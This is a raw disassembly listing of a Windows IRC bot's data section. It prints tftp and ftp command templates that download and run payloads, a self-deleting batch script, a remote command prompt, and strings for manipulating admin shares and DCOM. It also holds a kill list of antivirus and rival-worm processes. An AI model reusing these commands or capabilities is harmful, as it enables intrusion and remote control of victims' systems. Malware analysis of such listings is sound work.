a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41615A+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41615A+140o
align 4
dword_44F61C dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4162E2+5Co
dd 65726165h, 64h
unk_44F638 db 2Dh ; - ; DATA XREF: sub_4162E2+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 10h
unk_44F660 db 2Dh ; - ; DATA XREF: sub_4162E2+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 10h
aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00416442o
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: .nsp0:0041646Bo
db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_4164D5+58o
align 4
aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_4164D5+65o
align 10h
off_44F730 dd offset dword_44F784 ; DATA XREF: sub_4165F2+6Dr
; sub_4169D6+50r ...
off_44F734 dd offset aAdded ; DATA XREF: sub_4165F2+2Dr
; sub_4169D6+82r ...
; "Added"
dword_44F738 dd 0 ; DATA XREF: sub_4165F2+18r
dd offset aDelete_1 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_1 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 44F7D0h, 44F7D8h, 2, 44F7E0h, 44F7ECh, 3
dword_44F784 dd 646441h ; DATA XREF: .nsp0:off_44F730o
aAdded db 'Added',0 ; DATA XREF: .nsp0:off_44F734o
align 10h
aDelete_1 db 'Delete',0 ; DATA XREF: .nsp0:0044F73Co
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:0044F740o
aList_1 db 'List',0 ; DATA XREF: .nsp0:0044F748o
align 4
aListed db 'Listed',0 ; DATA XREF: .nsp0:0044F74Co
align 10h
aStart_1 db 'Start',0 ; DATA XREF: .nsp0:0044F754o
align 4
aStarted db 'Started',0 ; DATA XREF: .nsp0:0044F758o
aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:0044F760o
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:0044F764o
aPause_0 db 'Pause',0
align 4
aPaused db 'Paused',0
align 10h
aContinue_1 db 'Continue',0
align 4
aContinued db 'Continued',0
align 4
unk_44F7F8 db 2Dh ; - ; DATA XREF: sub_4165F2+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
unk_44F814 db 2Dh ; - ; DATA XREF: sub_4165F2+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_44F840 db 2Dh ; - ; DATA XREF: sub_4165F2+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_41671B:loc_4167F4o
align 4
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_41671B:loc_416775o
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_41671B+3Co
align 4
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_41671B:loc_41676Bo
align 10h
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_41671B:loc_41677Fo
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_41671B:loc_4167C9o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_41671B+8Fo
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_41671B:loc_4167FBo
db 'marked for deletion.',0
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_41671B:loc_416802o
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_41671B:loc_416809o
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_41671B:loc_416810o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_41671B:loc_416817o
db ' correct access rights.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_41671B:loc_41681Eo
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_41671B:loc_4167B4o
align 10h
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_41671B:loc_4167BBo
db 'tServiceCtrlDispatcher.',0
align 4
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_41671B:loc_416789o
db 'dependent on it.',0
align 10h
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_41671B:loc_416761o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_41671B:loc_4167C2o
db ' the service.',0
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_41671B:loc_416825o
db 'the state of the service.',0
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_41671B:loc_41682Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_41671B:loc_416833o
align 4
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41671B+12Co
align 10h
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_416899+25o
align 10h
aStopped db ' Stopped',0 ; DATA XREF: sub_416899:loc_416965o
aStarting db ' Starting',0 ; DATA XREF: sub_416899:loc_41695Eo
aStoping db ' Stoping',0 ; DATA XREF: sub_416899:loc_416957o
aRunning_0 db ' Running',0 ; DATA XREF: sub_416899:loc_416950o
aContinuing db ' Continuing',0 ; DATA XREF: sub_416899:loc_416949o
aPausing db ' Pausing',0 ; DATA XREF: sub_416899:loc_416942o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_416899:loc_41693Bo
aUnknown_2 db ' Unknown',0 ; DATA XREF: sub_416899+9Bo
aSSS_1 db '%s: %s (%s)',0 ; DATA XREF: sub_416899+EBo
dword_44FD9C dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_4169D6+89o
dd 73252720h, 27h
unk_44FDB8 db 2Dh ; - ; DATA XREF: sub_4169D6+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
unk_44FDE4 db 2Dh ; - ; DATA XREF: sub_4169D6+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_416BCB+26o
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_416BCB+B5o
aNo db 'No',0 ; DATA XREF: sub_416BCB+BCo
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_416BCB+D0o
align 10h
unk_44FE60 db 2Dh ; - ; DATA XREF: sub_416BCB+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
unk_44FE88 db 2Dh ; - ; DATA XREF: sub_416CEC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_44FEA8 db 2Dh ; - ; DATA XREF: sub_416CEC+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_44FED8 db 2Dh ; - ; DATA XREF: sub_416CEC+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_416E32+50o
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_416E32+81o
align 4
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_416E32+ACo
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_416E32+D4o
aGuest db 'Guest',0 ; DATA XREF: sub_416E32:loc_416F4Bo
align 4
aUser_2 db 'User',0 ; DATA XREF: sub_416E32:loc_416F44o
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_416E32:loc_416F3Do
align 4
aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_416E32+104o
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_416E32+125o
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_416E32+14Do
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_416E32+178o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_416E32+1A0o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_416E32+1CBo
align 10h
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_416E32+1F3o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_416E32+21Eo
align 10h
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_416E32+246o
align 10h
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_416E32+271o
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_416E32+299o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_416E32+2C4o
align 4
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_416E32+2ECo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_416E32+317o
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_416E32+33Fo
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_416E32+36Ao
align 4
unk_450088 db 2Dh ; - ; DATA XREF: sub_416E32+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_417200+29o
unk_4500D0 db 2Dh ; - ; DATA XREF: sub_417200+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_35 db ' %S',0 ; DATA XREF: sub_417200+BEo
align 4
unk_450104 db 2Dh ; - ; DATA XREF: sub_417200+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_417200+14Fo
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_417380:loc_4173E3o
align 10h
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_417380:loc_417424o
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_417380:loc_4173EDo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_417380+3Bo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_417380:loc_4173D9o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_417380:loc_4173CFo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_417380:loc_4173C5o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_417380:loc_41748Fo
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_417380+89o
align 4
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_417380:loc_417413o
align 4
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_417380:loc_41741Do
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_417380:loc_417488o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_417380+CFo
db ' the domain.',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_417380:loc_41745Do
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_417380:loc_417456o
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_417380:loc_417464o
db 'ord policy requirement.)',0
align 4
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_417380:loc_41749Do
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_417380:loc_41742Bo
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_417380:loc_417496o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_417380:loc_417481o
align 10h
unk_450400 db 2Dh ; - ; DATA XREF: sub_4174B4+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_450428 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_4174B4+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
dword_450454 dd 7530h ; DATA XREF: sub_417935+12r
off_450458 dd offset dword_4504B8 ; DATA XREF: sub_4175DD+CBo
dd offset dword_4504C4
dd offset dword_4504D4
dd offset dword_4504E0
dd offset dword_4504EC
dd offset dword_4504F8
dd offset dword_450504
dd offset dword_450514
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
dword_4504B8 dd 65676572h, 2E746964h, 657865h ; DATA XREF: sub_4175DD+ECo
; .nsp0:off_450458o
dword_4504C4 dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ; DATA XREF: .nsp0:0045045Co
dword_4504D4 dd 7374656Eh, 2E746174h, 657865h ; DATA XREF: .nsp0:00450460o
dword_4504E0 dd 6C62736Dh, 2E747361h, 657865h ; DATA XREF: .nsp0:00450464o
dword_4504EC dd 7270617Ah, 78652E6Fh, 65h ; DATA XREF: .nsp0:00450468o
dword_4504F8 dd 7776616Eh, 652E3233h, 6578h ; DATA XREF: .nsp0:0045046Co
dword_450504 dd 6176616Eh, 32337770h, 6578652Eh, 0 ; DATA XREF: .nsp0:00450470o
dword_450514 dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h ; DATA XREF: .nsp0:00450474o
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .nsp0:00450478o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .nsp0:0045047Co
align 10h
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .nsp0:00450480o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .nsp0:00450484o
aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: .nsp0:00450488o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .nsp0:0045048Co
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .nsp0:00450490o
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .nsp0:00450494o
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .nsp0:00450498o
align 4
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .nsp0:0045049Co
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .nsp0:004504A0o
align 10h
aSsate_exe db 'ssate.exe',0 ; DATA XREF: .nsp0:004504A4o
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: .nsp0:004504A8o
align 4
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .nsp0:004504ACo
align 4
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .nsp0:004504B0o
align 4
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .nsp0:004504B4o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4175DD+5Ao
align 4
aSD db ' %s (%d)',0 ; DATA XREF: sub_4175DD+17Do
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4175DD+18Bo
align 10h
aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_4175DD+19Fo
align 4
aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_4175DD+207o
align 10h
unk_450650 db 2Dh ; - ; DATA XREF: sub_417820+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
unk_450670 db 2Dh ; - ; DATA XREF: sub_417820+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_450694 db 2Dh ; - ; DATA XREF: sub_417820:loc_4178A7o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
aPrivmsgSS_2 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_4179BD+33o
aS_24 db '%s',0 ; DATA XREF: sub_4179BD+4Co
align 4
unk_4506CC db 2Dh ; - ; DATA XREF: sub_417A44:loc_417B2Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_4506FC db 2Dh ; - ; DATA XREF: sub_417A44+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_450724 db 2Dh ; - ; DATA XREF: sub_417A44:loc_417B76o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_417B99+20o
unk_45075C db 2Dh ; - ; DATA XREF: sub_417B99+150o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
unk_450780 db 2Dh ; - ; DATA XREF: sub_417B99+198o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 8
off_4507B8 dd offset dword_4507D8 ; DATA XREF: sub_417DB1+1B3o
; sub_4180D5+179o
align 10h
dd offset dword_4507E0
align 8
off_4507C8 dd offset dword_4507E8 ; DATA XREF: sub_4180D5+1E1o
dd offset dword_4507EC
dd offset dword_4507F0
dd offset dword_4507F4
dword_4507D8 dd 24435049h, 0 ; DATA XREF: sub_417DB1+217o
; .nsp0:off_4507B8o
dword_4507E0 dd 494D4441h, 244Eh ; DATA XREF: .nsp0:004507C0o
dword_4507E8 dd 2443h ; DATA XREF: .nsp0:off_4507C8o
dword_4507EC dd 5C3A43h ; DATA XREF: .nsp0:004507CCo
dword_4507F0 dd 2444h ; DATA XREF: .nsp0:004507D0o
dword_4507F4 dd 5C3A44h ; DATA XREF: .nsp0:004507D4o
word_4507F8 dw 4Eh ; DATA XREF: sub_417DB1+38r
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_417DB1+54o
align 4
dword_450808 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
dword_45082C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_417DB1:loc_417E1Eo
dd 62617369h, 2E64656Ch, 0
dword_45084C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_417DB1+EDo
align 10h
dword_450890 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
dword_4508CC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_417EBEo
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_450900 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_417EDCo
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_45093C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_417EE3o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_45096C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_450990 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_418013o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_4509BC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_4509E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1:loc_417F80o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_450A0C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_450A34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_417DB1+2E5o
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
word_450A64 dw 59h ; DATA XREF: sub_4180D5+38r
align 4
aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_4180D5+54o
align 4
dword_450A74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
dword_450A98 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_4180D5:loc_418142o
dd 6C62616Eh, 2E6465h
dword_450AB4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+91o
aFailedToOpen_0 db '- Failed to open DCOM registry key.',0
aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_4180D5+EDo
align 4
dword_450AF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_450B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_4181DEo
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 10h
dword_450B70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_4181FCo
aFailedToOpen_1 db '- Failed to open IPC$ restriction registry key.',0
dword_450BAC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_418203o
aAdvapi32_dll_0 db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_450BDC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+192o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_450BFC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_41826Eo
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
aC_2 db '%c$',0 ; DATA XREF: sub_4180D5+216o
aC_3 db '%c:\',0 ; DATA XREF: sub_4180D5+227o
align 10h
dword_450C30 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+263o
aShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0
dword_450C50 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5:loc_41833Fo
aFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0
dword_450C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+2C0o
aNetworkSharesA db '- Network shares added.',0
dword_450C9C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_4180D5+2D8o
aNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_418406+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
asc_450D00 db 0Dh,0Ah,0 ; DATA XREF: sub_418406+F2o
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_4185E1+15o
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_4185E1+1Co
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_4185E1+23o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_4185E1+2Ao
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_4185E1+31o
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_4185E1+38o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_4185E1+3Fo
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_4185E1+46o
align 10h
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_4185E1+4Do
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_4185E1+54o
align 10h
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_4185E1+5Bo
align 10h
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_4185E1+62o
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_4185E1+69o
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_4185E1+70o
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_4185E1+77o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_4185E1+7Eo
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_4185E1+85o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_4185E1+8Co
align 10h
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_4185E1+93o
align 4
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_4185E1+9Ao
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_4185E1+A1o
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_4185E1+A8o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_4185E1+AFo
align 10h
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_4185E1+B6o
align 10h
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_4185E1+BDo
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_4185E1+C4o
align 10h
dword_450EB0 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_4185E1+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
dword_450F10 dd 20646425h, 20686425h, 6D6425h ; DATA XREF: sub_4187BE+52o
dword_450F1C dd 3539h ; DATA XREF: sub_41897B+46o
dword_450F20 dd 544Eh ; DATA XREF: sub_41897B+5Ao
dword_450F24 dd 3839h ; DATA XREF: sub_41897B+6Co
dword_450F28 dd 454Dh ; DATA XREF: sub_41897B+7Eo
dword_450F2C dd 4B32h ; DATA XREF: sub_41897B+98o
dword_450F30 dd 5058h ; DATA XREF: sub_41897B+AAo
a2003 db '2003',0 ; DATA XREF: sub_41897B+BAo
align 4
a??? db '???',0 ; DATA XREF: sub_41897B:loc_418A3Eo
aSS_6 db '%s (%s)',0 ; DATA XREF: sub_41897B+EBo
word_450F48 dw 3Fh ; DATA XREF: sub_41897B:loc_418A7Dr
align 4
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41897B:loc_418ADFo
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41897B+192o
